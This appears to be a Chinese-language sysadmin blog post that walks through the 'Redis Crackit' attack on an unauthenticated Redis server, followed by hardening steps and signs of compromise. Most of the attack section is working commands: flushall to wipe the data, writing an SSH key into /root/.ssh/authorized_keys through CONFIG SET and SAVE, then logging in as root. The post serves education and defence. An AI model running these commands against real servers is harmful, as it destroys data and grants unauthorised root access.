注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!

目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。

下面我模拟一下入侵过程:

准备工作:

  • 1.准备一个运行在root用户下的验证redis。
  • 2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
  • 3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt

开始了:很简单哦

#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。
[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall
OK
#把公钥写入到一个key里面
[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen
#连接到这个redis上
[root@test-node1 ~]# redis-cli -h 192.168.199.221
#设置rdb文件存放的路径
redis 192.168.199.221:6379> config set dir /root/.ssh/
OK
#设置rdb文件的文件名
redis 192.168.199.221:6379> config set dbfilename "authorized_keys"
OK
#搞定保存
redis 192.168.199.221:6379> save
OK
#退出
redis 192.168.199.221:6379> exit

#尝试登陆吧
[root@test-node1 ~]# ssh root@192.168.199.221
Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com

!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!

#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys
[root@test-node2 ~]# cat /root/.ssh/authorized_keys

注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。

如何防护:

1.禁用这些可以入侵的命令:
     [root@test-node2 ~]# vim /etc/redis.conf
     rename-command FLUSHALL ""
     #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。
 
    2.将你的redis不要运行在0.0.0.0.或者设置验证。
     [root@test-node2 ~]# vim /etc/redis.conf
    requirepass redis-passwd
    bind 192.168.199.11

3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。

如何发现被入侵:

    • 1.你的redis数据莫名其妙没有了。
    • 2.检查你的rdb文件存放的路径
    • 3.检查是否有非法的authorized_keys

最新文章

  1. ABP教程-打造一个《电话簿项目》-目录-MPA版本-基于ABP1.13版本
  2. Select2个人使用总结
  3. 获取WOED和EXCEL的公用方法
  4. 检索 COM 类工厂中 CLSID 为 {28E68F9A-8D75-11D1-8DC3-3C302A000000} 的组件失败,原因是出现以下错误: 80040154 没有注册类 (异常来自 HRESULT:0x80040154 (REGDB_E_CLASSNOTREG))
  5. 洛谷P1538迎春舞会之数字舞蹈
  6. asp.net常见面试题(一)
  7. ejabberd,erlang,简单看了一下,总结一下,很肤浅
  8. BZOJ1176---[Balkan2007]Mokia (CDQ分治 + 树状数组)
  9. Mysql存储引擎概念特点介绍及不同业务场景选用依据
  10. php之文件基础操作
  11. Entity Framework Core 2.0 中使用LIKE 操作符
  12. 原生JS实现圆周运动
  13. 双字节验证:vue输入框中英文字数长度验证
  14. PHP接口的思考
  15. IDEA上传一个项目到github
  16. U3D的结构体堆分配栈分配
  17. mysql "order by" "distinct" "group by" "having"
  18. React Native的SliderIOS滑块组件
  19. nginx搭建负载均衡
  20. varnish--vcl

热门文章

  1. 大数据 -- Spark
  2. 记录 am335x 因为 pinmux 配置不对导致 不断的原因
  3. java static class 静态类
  4. sbt使用详解
  5. win10 oracle11g彻底删除
  6. IDEA快捷键笔记
  7. APICloud 实践 —— 手机端预览项目
  8. php 根据身份证获取出身地址
  9. Java设计模式(19)状态模式(State模式)
  10. 磁盘映射: between 宿主机 and 客户机